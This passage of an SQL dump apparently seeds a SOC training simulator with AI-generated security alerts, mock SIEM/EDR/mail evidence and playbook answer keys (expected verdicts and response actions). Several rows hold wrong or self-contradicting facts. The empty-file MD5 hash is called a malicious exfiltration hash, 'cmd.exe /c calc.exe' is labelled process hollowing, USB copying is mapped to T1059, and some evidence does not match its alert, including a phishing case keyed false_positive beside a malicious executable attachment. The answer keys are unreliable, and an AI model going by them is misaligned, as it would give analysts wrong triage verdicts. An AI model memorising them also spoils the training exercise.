4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1425, 'Cozy Bear Fileless Malware Detected via Process Hollowing', 'critical', 'MISP', 'A fileless malware attack using process hollowing was detected, attributed to Cozy Bear/APT29. Activity involved advanced evasion techniques.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"\",\"username\":\"sysadmin\",\"hostname\":\"server02.energycorp.local\",\"command_line\":\"rundll32.exe hollowed.dll,EntryPoint\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rundll32.exe hollowed.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line indicative of process hollowing technique\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP executing suspicious process\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of process hollowing aligns with known Cozy Bear tactics for stealthy attacks.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.975Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:50:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"sysadmin\\\",\\\"hostname\\\":\\\"server02.energycorp.local\\\",\\\"command_line\\\":\\\"rundll32.exe hollowed.dll,EntryPoint\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1426, 'Memory-only Rootkit Detected in LSASS Process', 'critical', 'CrowdStrike', 'A memory-only rootkit was detected within LSASS process memory on a critical ICS server, potentially used for credential theft and lateral movement.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:15:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.85\",\"username\":\"admin_user\",\"hostname\":\"ICS-Server-01\",\"command_line\":\"rundll32.exe shell32.dll,Control_RunDLL\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for C2 server activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal admin account\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rundll32.exe shell32.dll,Control_RunDLL\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Commonly used for process injection\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a memory-only rootkit in LSASS indicates potential credential theft and lateral movement.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1427, 'DGA Domains Used for C2 Communication Detected', 'high', 'Carbon Black', 'A sophisticated malware using DGA domains for C2 communication was identified on a water treatment plant\'s network.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:45:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"198.51.100.123\",\"username\":\"operator\",\"hostname\":\"PLC-Master-01\",\"domain\":\"hdsf3d2gds.example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with DGA-based C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"hdsf3d2gds.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain used by malware for dynamic C2\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"operator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Regular operator account\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of DGA domains for C2 is indicative of an advanced persistent threat targeting the water treatment plant.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.977Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:45:21Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"198.51.100.123\\\",\\\"username\\\":\\\"operator\\\",\\\"hostname\\\":\\\"PLC-Master-01\\\",\\\"domain\\\":\\\"hdsf3d2gds.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1428, 'Suspicious Modbus Traffic Detected on SCADA Network', 'high', 'SentinelOne', 'Unusual Modbus traffic patterns were detected, potentially indicating unauthorized PLC manipulation attempt.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.100.10\",\"dst_ip\":\"192.168.100.20\",\"username\":\"scada_user\",\"hostname\":\"SCADA-Controller\",\"domain\":\"example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP within SCADA network\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"scada_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"SCADA network user\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unusual Modbus traffic suggests a potential attempt to manipulate PLCs within the SCADA network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.979Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.100.10\\\",\\\"dst_ip\\\":\\\"192.168.100.20\\\",\\\"username\\\":\\\"scada_user\\\",\\\"hostname\\\":\\\"SCADA-Controller\\\",\\\"domain\\\":\\\"example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1429, 'Phishing Email with Malicious URL Detected', 'medium', 'Proofpoint', 'A phishing email was detected targeting a plant operator, containing a malicious URL aimed at credential harvesting.', 'Phishing', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:05:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.90\",\"dst_ip\":\"192.168.3.25\",\"username\":\"plant_operator\",\"hostname\":\"HMI-Workstation\",\"email_sender\":\"noreply@fakebank.com\",\"url\":\"http://malicious.example.com\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@fakebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email sender associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL not flagged in recent scans\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email appears to be a part of a broad phishing attempt, but the URL was deemed clean upon further analysis.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-03-02T13:55:06.981Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1430, 'Process Hollowing Detected on Critical ICS Workstation', 'critical', 'Sysmon', 'A process hollowing attack was detected on a critical ICS workstation, potentially indicating an APT-style attack aiming for data exfiltration.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:20:37Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.15\",\"dst_ip\":\"203.0.113.95\",\"username\":\"system_admin\",\"hostname\":\"ICS-Workstation-02\",\"command_line\":\"cmd.exe /c calc.exe\"}', '2026-03-02 03:19:01', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.95\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to known APT infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"cmd.exe /c calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command line indicative of process hollowing\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"system_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Privileged system admin account\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing detected, indicating a high-level intrusion attempt on the ICS workstation.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.982Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:20:37Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.15\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"username\\\":\\\"system_admin\\\",\\\"hostname\\\":\\\"ICS-Workstation-02\\\",\\\"command_line\\\":\\\"cmd.exe /c calc.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1431, 'Data Exfiltration via USB Device Detected', 'high', 'Symantec DLP', 'An employee attempted to copy sensitive company files to an unauthorized USB device. This activity was detected by the DLP system.', 'Data Exfil', 'T1059', 1, 'Closed', 266, '{\"timestamp\":\"2026-03-02T08:45:00Z\",\"event_type\":\"file_copy\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-123\",\"command_line\":\"copy C:\\\\Sensitive\\\\report.pdf E:\\\\\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-02 03:22:45', '2026-03-09 13:26:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the employee\'s machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with unauthorized data exfiltration attempts\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The file hash is connected to known unauthorized data exfiltration activities. Immediate action is required.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
